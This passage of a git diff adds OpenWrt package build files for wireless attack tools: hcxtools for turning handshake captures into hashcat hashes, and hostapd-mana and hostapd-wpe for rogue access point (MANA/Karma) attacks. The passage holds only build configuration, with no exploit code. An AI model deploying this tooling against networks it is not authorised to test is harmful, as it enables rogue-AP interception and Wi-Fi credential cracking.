2019 Andreas Nilsen +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=hcxlabtools +PKG_VERSION:=0.1.0 +PKG_RELEASE:=2 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_MAINTAINER:=Andreas Nilsen +PKG_LICENSE:=MIT +PKG_LICENSE_FILES:=license.txt + +include $(INCLUDE_DIR)/package.mk + +define Package/hcxlabtools + SECTION:=net + CATEGORY:=Network + DEPENDS:=+libpcap +libopenssl + TITLE:=hcxlabtools + URL:=https://github.com/ZerBea/hcxdumptool + SUBMENU:=Wireless +endef + +define Package/hcxlabtools/description + Small tool to capture packets from wlan devices. After capturing, upload + the "uncleaned" cap here (https://wpa-sec.stanev.org/?submit) + to see if your ap or the client is vulnerable by using common wordlists. + Convert the cap to hccapx and/or to WPA-PMKID-PBKDF2 hashline (16800) with hcxpcaptool (hcxtools) + and check if wlan-key or plainmasterkey was transmitted unencrypted. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ +endef + +EXTRA_CFLAGS += -O3 -Wall -Wextra + + +define Build/Compile + $(MAKE) -C $(PKG_BUILD_DIR) \ + $(TARGET_CONFIGURE_OPTS) \ + CFLAGS="$(TARGET_CFLAGS) $(EXTRA_CFLAGS)" \ + all +endef + +define Package/hcxlabtools/install + $(INSTALL_DIR) $(1)/sbin + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxlabgetm1 $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxlabgetm2 $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxlabgetm1234 $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxlabgetmall $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxlabdumpall $(1)/sbin/ +endef + +$(eval $(call BuildPackage,hcxlabtools)) diff --git a/hcxlabtools/src b/hcxlabtools/src new file mode 160000 index 0000000..21ccf02 --- /dev/null +++ b/hcxlabtools/src @@ -0,0 +1 @@ +Subproject commit 21ccf02fea8959cc4cb96e00691289638f511323 diff --git a/hcxtools-custom/Makefile b/hcxtools-custom/Makefile new file mode 100644 index 0000000..5e4773c --- /dev/null +++ b/hcxtools-custom/Makefile @@ -0,0 +1,63 @@ +# +# Copyright (C) 2019 Andreas Nilsen +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=hcxtools-custom +PKG_VERSION:=6.1.5 +PKG_RELEASE:=6 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_MAINTAINER:=Andreas Nilsen +PKG_LICENSE:=MIT +PKG_LICENSE_FILES:=license.txt + +include $(INCLUDE_DIR)/package.mk + +define Package/hcxtools-custom + SECTION:=net + CATEGORY:=Network + DEPENDS:=+libpthread +libpcap +zlib +libcurl +libopenssl + TITLE:=hcxtools-custom + URL:=https://github.com/ZerBea/hcxtools + SUBMENU:=Wireless +endef + +define Package/hcxtools-custom/description + Set of tools convert packets from captures (h = hash, c = capture, convert and calculate candidates, x = different hashtypes) + for the use with latest hashcat or John the Ripper. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ +endef + +define Build/Compile + $(MAKE) -C $(PKG_BUILD_DIR)/ \ + $(TARGET_CONFIGURE_OPTS) \ + CFLAGS="$(TARGET_CFLAGS)" +endef + +define Package/hcxtools-custom/install + $(INSTALL_DIR) $(1)/sbin + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxpcapngtool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxhashtool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxpsktool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxwltool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/wlancap2wpasec $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/whoismac $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxpmkidtool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxhashcattool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxmactool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxessidtool $(1)/sbin/ + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxhash2cap $(1)/sbin/ +endef + +$(eval $(call BuildPackage,hcxtools-custom)) diff --git a/hcxtools-custom/src b/hcxtools-custom/src new file mode 160000 index 0000000..b765ad3 --- /dev/null +++ b/hcxtools-custom/src @@ -0,0 +1 @@ +Subproject commit b765ad373c78d45937e7a6a22ba8d201b7092175 diff --git a/hostapd-mana/Config.in b/hostapd-mana/Config.in new file mode 100644 index 0000000..a46ceb7 --- /dev/null +++ b/hostapd-mana/Config.in @@ -0,0 +1,53 @@ +config MANA_RFKILL_SUPPORT + bool "Add rfkill support" + depends on PACKAGE_wpa-supplicant || \ + PACKAGE_wpa-supplicant-mini || \ + PACKAGE_wpad || \ + PACKAGE_wpad-mini + default n + +config MANA_MSG_MIN_PRIORITY + int "Minimum debug message priority" + default 2 + help + Useful values are: + 0 = all messages + 1 = raw message dumps + 2 = most debugging messages + 3 = info messages + 4 = warnings + 5 = errors + +config MANA_DRIVER_WEXT_SUPPORT + bool "Enable support for the older deprecated WEXT driver" + default n + +config MANA_DRIVER_11N_SUPPORT + bool "Enable 802.11N support" + default y + +config MANA_DRIVER_11AC_SUPPORT + bool "Enable 802.11AC support" + default y + +config MANA_DRIVER_11AX_SUPPORT + bool "Enable 802.11AX support" + default y + +#config MANA_DRIVER_11W_SUPPORT +# bool "Enable 802.11W (Management Frame Protection)" +# default y + +config MANA_DRIVER_TAXONOMY_SUPPORT + bool "Enable Taxonomy support for hostapd-mana" + default y + +config MANA_WPA_ENABLE_WEP + bool "Enable support for unsecure and obsolete WEP" + default y + help + Wired equivalent privacy (WEP) is an obsolete cryptographic data + confidentiality algorithm that is not considered secure. It should not be used + for anything anymore. The functionality needed to use WEP is available in the + current hostapd release under this optional build parameter and completely + removed in a future release. diff --git a/hostapd-mana/Makefile b/hostapd-mana/Makefile new file mode 100644 index 0000000..f874b5d --- /dev/null +++ b/hostapd-mana/Makefile @@ -0,0 +1,180 @@ +# +# Copyright (C) 2021 Andreas Nilsen https://github.com/adde88 +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=hostapd-mana +PKG_VERSION:=2.9 +PKG_RELEASE:=1 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_MAINTAINER:=Andreas Nilsen +PKG_LICENSE:=GPL-2.0 +PKG_LICENSE_FILES:=COPYING + +PKG_BUILD_PARALLEL:=1 +PKG_ASLR_PIE_REGULAR:=1 + +PKG_CONFIG_DEPENDS:= \ + CONFIG_PACKAGE_kmod-ath9k \ + CONFIG_PACKAGE_kmod-cfg80211 \ + CONFIG_PACKAGE_hostapd \ + CONFIG_PACKAGE_hostapd-mini \ + CONFIG_MANA_RFKILL_SUPPORT \ + CONFIG_MANA_MSG_MIN_PRIORITY \ + CONFIG_MANA_DRIVER_WEXT_SUPPORT \ + CONFIG_MANA_DRIVER_11N_SUPPORT \ + CONFIG_MANA_DRIVER_11AC_SUPPORT \ + CONFIG_MANA_DRIVER_11AX_SUPPORT \ +# CONFIG_MANA_DRIVER_11W_SUPPORT \ + CONFIG_MANA_DRIVER_TAXONOMY_SUPPORT \ + CONFIG_MANA_WPA_ENABLE_WEP + +include $(INCLUDE_DIR)/package.mk + +STAMP_CONFIGURED:=$(STAMP_CONFIGURED)_$(CONFIG_MANA_MSG_MIN_PRIORITY) + +ifneq ($(CONFIG_MANA_DRIVER_11N_SUPPORT),) + HOSTAPD_IEEE80211N:=y +endif + +ifneq ($(CONFIG_MANA_DRIVER_11AC_SUPPORT),) + HOSTAPD_IEEE80211AC:=y +endif + +ifneq ($(CONFIG_MANA_DRIVER_11AX_SUPPORT),) + HOSTAPD_IEEE80211AX:=y +endif + +ifneq ($(CONFIG_MANA_DRIVER_TAXONOMY_SUPPORT),) + CONFIG_MANA_DRIVER_TAXONOMY_SUPPORT:=y +endif + +DRIVER_MAKEOPTS= \ + CONFIG_ACS=$(CONFIG_PACKAGE_kmod-cfg80211) \ + CONFIG_DRIVER_NL80211=$(CONFIG_PACKAGE_kmod-cfg80211) \ + CONFIG_IEEE80211N=$(HOSTAPD_IEEE80211N) \ + CONFIG_IEEE80211AC=$(HOSTAPD_IEEE80211AC) \ + CONFIG_IEEE80211AX=$(HOSTAPD_IEEE80211AX) \ +# CONFIG_IEEE80211W=$(CONFIG_MANA_DRIVER_11W_SUPPORT) \ + CONFIG_DRIVER_WEXT=$(CONFIG_MANA_DRIVER_WEXT_SUPPORT) \ + CONFIG_TAXONOMY=$(CONFIG_MANA_DRIVER_TAXONOMY_SUPPORT) \ + +ifdef CONFIG_MANA_RFKILL_SUPPORT + DRIVER_MAKEOPTS += NEED_RFKILL=y +endif + +ifdef CONFIG_USE_GLIBC + TARGET_LDFLAGS += -lrt + TARGET_LDFLAGS_C += -lrt +endif + +define Package/hostapd-mana/config + source "$(SOURCE)/Config.in" +endef + +define Package/hostapd-mana + SECTION:=net + CATEGORY:=Network + SUBMENU:=WirelessAPD + TITLE:=Hostapd with support for the MANA and Karma attacks. + DEPENDS:=+libubus +libnl-tiny +libopenssl + URL:=https://github.com/sensepost/hostapd-mana +endef + +define Package/hostapd-mana/description + This package contains hostapd with support for the MANA/KARMA attacks. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src2.9/* $(PKG_BUILD_DIR)/ +endef + +ifneq ($(wildcard $(PKG_BUILD_DIR)/.config_*),$(subst .configured_,.config_,$(STAMP_CONFIGURED))) + define Build/Configure/rebuild + $(FIND) $(PKG_BUILD_DIR) -name \*.o -or -name \*.a | $(XARGS) rm -f + rm -f $(PKG_BUILD_DIR)/hostapd/hostapd + rm -f $(PKG_BUILD_DIR)/.config_* + touch $(subst .configured_,.config_,$(STAMP_CONFIGURED)) + endef +endif + +define Build/Configure + $(Build/Configure/rebuild) + $(if $(wildcard ./files/hostapd-mana.config), \ + $(CP) ./files/hostapd-mana.config $(PKG_BUILD_DIR)/hostapd/.config \ + ) +endef + +TARGET_CPPFLAGS := \ + -I$(STAGING_DIR)/usr/include/libnl-tiny \ + -I$(PKG_BUILD_DIR)/src/crypto \ + $(TARGET_CPPFLAGS) \ + -DCONFIG_LIBNL20 \ + -D_GNU_SOURCE \ + $(if $(CONFIG_MANA_MSG_MIN_PRIORITY),-DCONFIG_MSG_MIN_PRIORITY=$(CONFIG_MANA_MSG_MIN_PRIORITY)) + +TARGET_CFLAGS += -ffunction-sections -fdata-sections -flto +TARGET_LDFLAGS += -Wl,--gc-sections -flto=jobserver -fuse-linker-plugin -lubox -lubus -lm -lnl-tiny -lcrypto -lssl + +ifdef CONFIG_MANA_WPA_ENABLE_WEP + DRIVER_MAKEOPTS += CONFIG_WEP=y +endif + +define Build/RunMake + CFLAGS="$(TARGET_CPPFLAGS) $(TARGET_CFLAGS)" \ + $(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR)/$(1) \ + CC="$(TARGET_CC)" \ + $(TARGET_CONFIGURE_OPTS) \ + $(DRIVER_MAKEOPTS) \ + LIBS="$(TARGET_LDFLAGS)" \ + LIBS_c="$(TARGET_LDFLAGS_C)" \ + AR="$(TARGET_CROSS)gcc-ar" \ + BCHECK= \ + $(2) +endef + +define Build/Compile/hostapd-mana + +$(call Build/RunMake,hostapd, \ + hostapd hostapd_cli \ + ) +endef + +define Build/Compile + @echo "-----------------------------------------" + @echo "- " + @echo "- COMPILING: $(PKG_NAME)-$(PKG_VERSION) " + @echo "- ARCHITECTURE: $(ARCH) " + @echo "- BOARD: $(BOARD) " + @echo "- SUBTARGET: $(SUBTARGET) " + @echo "- " + @echo "-----------------------------------------" + $(Build/Compile/hostapd-mana) + $(Build/Compile/full) +endef + +define Install/hostapd-mana + $(INSTALL_DIR) $(1)/usr/sbin + $(INSTALL_DIR) $(1)/etc/hostapd-mana/ + $(INSTALL_DIR) $(1)/etc/hostapd-mana/cert +endef + +define Package/hostapd-mana/install + $(call Install/hostapd-mana,$(1)) + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hostapd/hostapd $(1)/usr/sbin/hostapd-mana + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hostapd/hostapd_cli $(1)/usr/sbin/mana_cli + $(INSTALL_BIN) $(PKG_BUILD_DIR)/files/crackapd/crackapd.py $(1)/usr/sbin/crackapd + $(INSTALL_BIN) $(PKG_BUILD_DIR)/files/berate_ap $(1)/usr/sbin/berate_ap + $(INSTALL_DATA) $(PKG_BUILD_DIR)/files/crackapd/crackapd.conf $(1)/etc/hostapd-mana/ + $(INSTALL_DATA) $(PKG_BUILD_DIR)/files/conf/* $(1)/etc/hostapd-mana/ + $(INSTALL_DATA) $(PKG_BUILD_DIR)/files/cert/* $(1)/etc/hostapd-mana/cert/ +endef + +$(eval $(call BuildPackage,hostapd-mana)) diff --git a/hostapd-mana/files/hostapd-mana.config b/hostapd-mana/files/hostapd-mana.config new file mode 100644 index 0000000..5d303c6 --- /dev/null +++ b/hostapd-mana/files/hostapd-mana.config @@ -0,0 +1,366 @@ +# Example hostapd build time configuration +# +# This file lists the configuration options that are used when building the +# hostapd binary. All lines starting with # are ignored. Configuration option +# lines must be commented out complete, if they are not to be included, i.e., +# just setting VARIABLE=n is not disabling that variable. +# +# This file is included in Makefile, so variables like CFLAGS and LIBS can also +# be modified from here. In most cass, these lines should use += in order not +# to override previous values of the variables. + +# Driver interface for Host AP driver +CONFIG_DRIVER_HOSTAP=y + +# Driver interface for wired authenticator +CONFIG_DRIVER_WIRED=y + +# Driver interface for drivers using the nl80211 kernel interface +CONFIG_DRIVER_NL80211=y + +# QCA vendor extensions to nl80211 +#CONFIG_DRIVER_NL80211_QCA=y + +# driver_nl80211.c requires libnl. If you are compiling it yourself +# you may need to point hostapd to your version of libnl. +# +#CFLAGS += -I$ +#LIBS += -L$ + +# Use libnl v2.0 (or 3.0) libraries. +#CONFIG_LIBNL20=y + +# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored) +CONFIG_LIBNL32=y + + +# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver) +#CONFIG_DRIVER_BSD=y +#CFLAGS += -I/usr/local/include +#LIBS += -L/usr/local/lib +#LIBS_p += -L/usr/local/lib +#LIBS_c += -L/usr/local/lib + +# Driver interface for no driver (e.g., RADIUS server only) +CONFIG_DRIVER_NONE=y + +# IEEE 802.11F/IAPP +CONFIG_IAPP=y + +# WPA2/IEEE 802.11i RSN pre-authentication +CONFIG_RSN_PREAUTH=y + +# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS) +CONFIG_PEERKEY=y + +# IEEE 802.11w (management frame protection) +CONFIG_IEEE80211W=y + +# Integrated EAP server +CONFIG_EAP=y + +# EAP Re-authentication Protocol (ERP) in integrated EAP server +CONFIG_ERP=y + +# EAP-MD5 for the integrated EAP server +CONFIG_EAP_MD5=y + +# EAP-TLS for the integrated EAP server +CONFIG_EAP_TLS=y + +# EAP-MSCHAPv2 for the integrated EAP server +CONFIG_EAP_MSCHAPV2=y + +# EAP-PEAP for the integrated EAP server +CONFIG_EAP_PEAP=y + +# EAP-GTC for the integrated EAP server +CONFIG_EAP_GTC=y + +# EAP-TTLS for the integrated EAP server +CONFIG_EAP_TTLS=y + +# EAP-SIM for the integrated EAP server +CONFIG_EAP_SIM=y + +# EAP-AKA for the integrated EAP server +CONFIG_EAP_AKA=y + +# EAP-AKA' for the integrated EAP server +# This requires CONFIG_EAP_AKA to be enabled, too. +CONFIG_EAP_AKA_PRIME=y + +# EAP-PAX for the integrated EAP server +CONFIG_EAP_PAX=y + +# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK) +CONFIG_EAP_PSK=y + +# EAP-pwd for the integrated EAP server (secure authentication with a password) +CONFIG_EAP_PWD=y + +# EAP-SAKE for the integrated EAP server +CONFIG_EAP_SAKE=y + +# EAP-GPSK for the integrated EAP server +CONFIG_EAP_GPSK=y +# Include support for optional SHA256 cipher suite in EAP-GPSK +CONFIG_EAP_GPSK_SHA256=y + +# EAP-FAST for the integrated EAP server +# Note: If OpenSSL is used as the TLS library, OpenSSL 1.0 or newer is needed +# for EAP-FAST support. Older OpenSSL releases would need to be patched, e.g., +# with openssl-0.9.8x-tls-extensions.patch, to add the needed functions. +CONFIG_EAP_FAST=y + +# Wi-Fi Protected Setup (WPS) +CONFIG_WPS=y +CONFIG_WPS2=y +# Enable UPnP support for external WPS Registrars +CONFIG_WPS_UPNP=y +# Enable WPS support with NFC config method +CONFIG_WPS_NFC=y + +# EAP-IKEv2 +CONFIG_EAP_IKEV2=y + +# Trusted Network Connect (EAP-TNC) +CONFIG_EAP_TNC=y + +# EAP-EKE for the integrated EAP server +CONFIG_EAP_EKE=y + +# PKCS#12 (PFX) support (used to read private key and certificate file from +# a file that usually has extension .p12 or .pfx) +CONFIG_PKCS12=y + +# RADIUS authentication server. This provides access to the integrated EAP +# server from external hosts using RADIUS. +CONFIG_RADIUS_SERVER=y + +# Build IPv6 support for RADIUS operations +CONFIG_IPV6=y + +# IEEE Std 802.11r-2008 (Fast BSS Transition) +CONFIG_IEEE80211R=y + +# Use the hostapd's IEEE 802.11 authentication (ACL), but without +# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211) +#CONFIG_DRIVER_RADIUS_ACL=y + +# IEEE 802.11n (High Throughput) support +CONFIG_IEEE80211N=y + +# Wireless Network Management (IEEE Std 802.11v-2011) +# Note: This is experimental and not complete implementation. +#CONFIG_WNM=y + +# IEEE 802.11ac (Very High Throughput) support +CONFIG_IEEE80211AC=y + +# Remove debugging code that is printing out debug messages to stdout. +# This can be used to reduce the size of the hostapd considerably if debugging +# code is not needed. +#CONFIG_NO_STDOUT_DEBUG=y + +# Add support for writing debug log to a file: -f /tmp/hostapd.log +# Disabled by default. +#CONFIG_DEBUG_FILE=y + +# Add support for sending all debug messages (regardless of debug verbosity) +# to the Linux kernel tracing facility. This helps debug the entire stack by +# making it easy to record everything happening from the driver up into the +# same file, e.g., using trace-cmd. +#CONFIG_DEBUG_LINUX_TRACING=y + +# Remove support for RADIUS accounting +#CONFIG_NO_ACCOUNTING=y + +# Remove support for RADIUS +#CONFIG_NO_RADIUS=y + +# Remove support for VLANs +#CONFIG_NO_VLAN=y + +# Enable support for fully dynamic VLANs. This enables hostapd to +# automatically create bridge and VLAN interfaces if necessary. +CONFIG_FULL_DYNAMIC_VLAN=y + +# Use netlink-based kernel API for VLAN operations instead of ioctl() +# Note: This requires libnl 3.1 or newer. +#CONFIG_VLAN_NETLINK=y + +# Remove support for dumping internal state through control interface commands +# This can be used to reduce binary size at the cost of disabling a debugging +# option. +CONFIG_NO_DUMP_STATE=y + +# Enable tracing code for developer debugging +# This tracks use of memory allocations and other registrations and reports +# incorrect use with a backtrace of call (or allocation) location. +#CONFIG_WPA_TRACE=y +# For BSD, comment out these. +#LIBS += -lexecinfo +#LIBS_p += -lexecinfo +#LIBS_c += -lexecinfo + +# Use libbfd to get more details for developer debugging +# This enables use of libbfd to get more detailed symbols for the backtraces +# generated by CONFIG_WPA_TRACE=y. +#CONFIG_WPA_TRACE_BFD=y +# For BSD, comment out these. +#LIBS += -lbfd -liberty -lz +#LIBS_p += -lbfd -liberty -lz +#LIBS_c += -lbfd -liberty -lz + +# hostapd depends on strong random number generation being available from the +# operating system. os_get_random() function is used to fetch random data when +# needed, e.g., for key generation. On Linux and BSD systems, this works by +# reading /dev/urandom. It should be noted that the OS entropy pool needs to be +# properly initialized before hostapd is started. This is important especially +# on embedded devices that do not have a hardware random number generator and +# may by default start up with minimal entropy available for random number +# generation. +# +# As a safety net, hostapd is by default trying to internally collect +# additional entropy for generating random data to mix in with the data +# fetched from the OS. This by itself is not considered to be very strong, but +# it may help in cases where the system pool is not initialized properly. +# However, it is very strongly recommended that the system pool is initialized +# with enough entropy either by using hardware assisted random number +# generator or by storing state over device reboots. +# +# hostapd can be configured to maintain its own entropy store over restarts to +# enhance random number generation. This is not perfect, but it is much more +# secure than using the same sequence of random numbers after every reboot. +# This can be enabled with -e command line option. The specified +# file needs to be readable and writable by hostapd. +# +# If the os_get_random() is known to provide strong random data (e.g., on +# Linux/BSD, the board in question is known to have reliable source of random +# data from /dev/urandom), the internal hostapd random pool can be disabled. +# This will save some in binary size and CPU use. However, this should only be +# considered for builds that are known to be used on devices that meet the +# requirements described above. +#CONFIG_NO_RANDOM_POOL=y + +# Should we attempt to use the getrandom(2) call that provides more reliable +# yet secure randomness source than /dev/random on Linux 3.17 and newer. +# Requires glibc 2.25 to build, falls back to /dev/random if unavailable. +CONFIG_GETRANDOM=y + +# Should we use poll instead of select? Select is used by default. +#CONFIG_ELOOP_POLL=y + +# Should we use epoll instead of select? Select is used by default. +#CONFIG_ELOOP_EPOLL=y + +# Should we use kqueue instead of select? Select is used by default. +#CONFIG_ELOOP_KQUEUE=y + +# Select TLS implementation +# openssl = OpenSSL (default) +# gnutls = GnuTLS +# internal = Internal TLSv1 implementation (experimental) +# none = Empty template +CONFIG_TLS=openssl + +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1) +# can be enabled to get a stronger construction of messages when block ciphers +# are used. +#CONFIG_TLSV11=y + +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2) +# can be enabled to enable use of stronger crypto algorithms. +CONFIG_TLSV12=y + +# If CONFIG_TLS=internal is used, additional library and include paths are +# needed for LibTomMath. Alternatively, an integrated, minimal version of +# LibTomMath can be used. See beginning of libtommath.c for details on benefits +# and drawbacks of this option. +CONFIG_INTERNAL_LIBTOMMATH=y +#ifndef CONFIG_INTERNAL_LIBTOMMATH +#LTM_PATH=/usr/src/libtommath-0.39 +#CFLAGS += -I$(LTM_PATH) +#LIBS += -L$(LTM_PATH) +#LIBS_p += -L$(LTM_PATH) +#endif +# At the cost of about 4 kB of additional binary size, the internal LibTomMath +# can be configured to include faster routines for exptmod, sqr, and div to +# speed up DH and RSA calculation considerably +CONFIG_INTERNAL_LIBTOMMATH_FAST=y + +# Interworking (IEEE 802.11u) +# This can be used to enable functionality to improve interworking with +# external networks. +#CONFIG_INTERWORKING=y + +# Hotspot 2.0 +CONFIG_HS20=y + +# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file +#CONFIG_SQLITE=y + +# Enable Fast Session Transfer (FST) +#CONFIG_FST=y + +# Enable CLI commands for FST testing +#CONFIG_FST_TEST=y + +# Testing options +# This can be used to enable some testing options (see also the example +# configuration file) that are really useful only for testing clients that +# connect to this hostapd. These options allow, for example, to drop a +# certain percentage of probe requests or auth/(re)assoc frames. +# +#CONFIG_TESTING_OPTIONS=y + +# Automatic Channel Selection +# This will allow hostapd to pick the channel automatically when channel is set +# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in +# similar way. +# +# Automatic selection is currently only done through initialization, later on +# we hope to do background checks to keep us moving to more ideal channels as +# time goes by. ACS is currently only supported through the nl80211 driver and +# your driver must have survey dump capability that is filled by the driver +# during scanning. +# +# You can customize the ACS survey algorithm with the hostapd.conf variable +# acs_num_scans. +# +# Supported ACS drivers: +# * ath9k +# * ath5k +# * ath10k +# +# For more details refer to: +# http://wireless.kernel.org/en/users/Documentation/acs +# +CONFIG_ACS=y + +# Multiband Operation support +# These extentions facilitate efficient use of multiple frequency bands +# available to the AP and the devices that may associate with it. +CONFIG_MBO=y + +# Client Taxonomy +# Has the AP retain the Probe Request and (Re)Association Request frames from +# a client, from which a signature can be produced which can identify the model +# of client device like "Nexus 6P" or "iPhone 5s". +CONFIG_TAXONOMY=y + +# uBus IPC/RPC System +# Services can connect to the bus and provide methods +# that can be called by other services or clients. +CONFIG_UBUS=y + +# OpenWrt patch 380-disable-ctrl-iface-mib.patch +# leads to the MIB only being compiled in if +# CONFIG_CTRL_IFACE_MIB is enabled. +#CONFIG_CTRL_IFACE_MIB=y + +#CONFIG_INTERNAL_AES=y +#NEED_AES_DEC=y + +CONFIG_SAE=y diff --git a/hostapd-mana/hostapd-2.9.mk b/hostapd-mana/hostapd-2.9.mk new file mode 100644 index 0000000..a784f22 --- /dev/null +++ b/hostapd-mana/hostapd-2.9.mk @@ -0,0 +1,23 @@ +# +# Copyright (C) 2021 Andreas Nilsen https://github.com/adde88 +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +PKG_CONFIG_DEPENDS += \ + CONFIG_MANA_DRIVER_11AX_SUPPORT \ + CONFIG_MANA_WPA_ENABLE_WEP + + +ifneq ($(CONFIG_MANA_DRIVER_11AX_SUPPORT),) + HOSTAPD_IEEE80211AX:=y +endif + +DRIVER_MAKEOPTS += \ + CONFIG_IEEE80211W=$(CONFIG_MANA_DRIVER_11W_SUPPORT) + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src2.9/* $(PKG_BUILD_DIR)/ +endef diff --git a/hostapd-mana/src b/hostapd-mana/src new file mode 160000 index 0000000..f34d50f --- /dev/null +++ b/hostapd-mana/src @@ -0,0 +1 @@ +Subproject commit f34d50f1476c09ccf7d03112954b17d7de8acefb diff --git a/hostapd-mana/src2.9 b/hostapd-mana/src2.9 new file mode 160000 index 0000000..f34d50f --- /dev/null +++ b/hostapd-mana/src2.9 @@ -0,0 +1 @@ +Subproject commit f34d50f1476c09ccf7d03112954b17d7de8acefb diff --git a/hostapd-wpe/Config.in b/hostapd-wpe/Config.in new file mode 100644 index 0000000..0402dcb --- /dev/null +++ b/hostapd-wpe/Config.in @@ -0,0 +1,39 @@ +config WPE_RFKILL_SUPPORT + bool "Add rfkill support" + depends on PACKAGE_wpa-supplicant || \ + PACKAGE_wpa-supplicant-mini || \ + PACKAGE_wpad || \ + PACKAGE_wpad-mini + default n + +config WPE_MSG_MIN_PRIORITY + int "Minimum debug message priority" + default 2 + help + Useful values are: + 0 = all messages + 1 = raw message dumps + 2 = most debugging messages + 3 = info messages + 4 = warnings + 5 = errors + +config WPE_WEXT_SUPPORT + bool + default y + +config WPE_11N_SUPPORT + bool + default y + +config WPE_11AC_SUPPORT + bool + default y + +config WPE_11W_SUPPORT + bool + default y + +config WPE_TAXONOMY_SUPPORT + bool + default y diff --git a/hostapd-wpe/Makefile b/hostapd-wpe/Makefile new file mode 100644 index 0000000..c452b48 --- /dev/null +++ b/hostapd-wpe/Makefile @@ -0,0 +1,156 @@ +# +# Copyright (C) 2021 Andreas Nilsen https://github.com/adde88 +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=hostapd-wpe +PKG_VERSION:=1 +PKG_RELEASE:=1 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_MAINTAINER:=Andreas Nilsen + +PKG_BUILD_PARALLEL:=1 + +PKG_CONFIG_DEPENDS:= \ + CONFIG_PACKAGE_kmod-ath9k \ + CONFIG_PACKAGE_kmod-cfg80211 \ + CONFIG_PACKAGE_hostapd \ + CONFIG_PACKAGE_hostapd-mini \ + CONFIG_WPE_RFKILL_SUPPORT \ + CONFIG_WPE_WEXT_SUPPORT \ + CONFIG_WPE_11N_SUPPORT \ + CONFIG_WPE_11AC_SUPPORT \ + CONFIG_WPE_TAXONOMY_SUPPORT + +include $(INCLUDE_DIR)/package.mk + +STAMP_CONFIGURED:=$(STAMP_CONFIGURED)_$(CONFIG_WPE_MSG_MIN_PRIORITY) + +ifneq ($(CONFIG_WPE_11N_SUPPORT),) + HOSTAPD_IEEE80211N:=y +endif + +ifneq ($(CONFIG_WPE_11AC_SUPPORT),) + HOSTAPD_IEEE80211AC:=y +endif + +ifneq ($(CONFIG_WPE_TAXONOMY_SUPPORT),) + CONFIG_WPE_TAXONOMY_SUPPORT:=y +endif + +DRIVER_MAKEOPTS= \ + CONFIG_ACS=$(CONFIG_PACKAGE_kmod-cfg80211) \ + CONFIG_DRIVER_NL80211=$(CONFIG_PACKAGE_kmod-cfg80211) \ + CONFIG_IEEE80211N=$(HOSTAPD_IEEE80211N) \ + CONFIG_IEEE80211W=$(HOSTAPD_IEEE80211W) \ + CONFIG_DRIVER_WEXT=$(CONFIG_WPE_WEXT_SUPPORT) \ + CONFIG_DRIVER_TAXONOMY=$(CONFIG_WPE_TAXONOMY_SUPPORT) \ + CONFIG_DRIVER_ROBOSWITCH=$(CONFIG_PACKAGE_kmod-switch) + +ifdef CONFIG_WPE_RFKILL_SUPPORT + DRIVER_MAKEOPTS += NEED_RFKILL=y +endif + +ifdef CONFIG_USE_EGLIBC + TARGET_LDFLAGS += -lrt + TARGET_LDFLAGS_C += -lrt +endif + +define Package/hostapd-wpe/config + source 